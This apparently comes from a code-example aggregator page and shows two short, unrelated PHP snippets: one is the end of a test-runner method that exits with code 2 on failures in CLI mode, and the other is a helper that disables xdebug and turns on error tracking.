     $this->tearDown();
     // Todo: we should figure out how to pass this data back through Director more cleanly
     if (Director::is_cli() && $results->failureCount() + $results->errorCount() > 0) {
         exit(2);
     }
 }
コード例 #30
0
 function _enableErrorReporting()
 {
     if ($this->_xdebug_is_enabled) {
         xdebug_disable();
     }
     ini_set('track_errors', true);
 }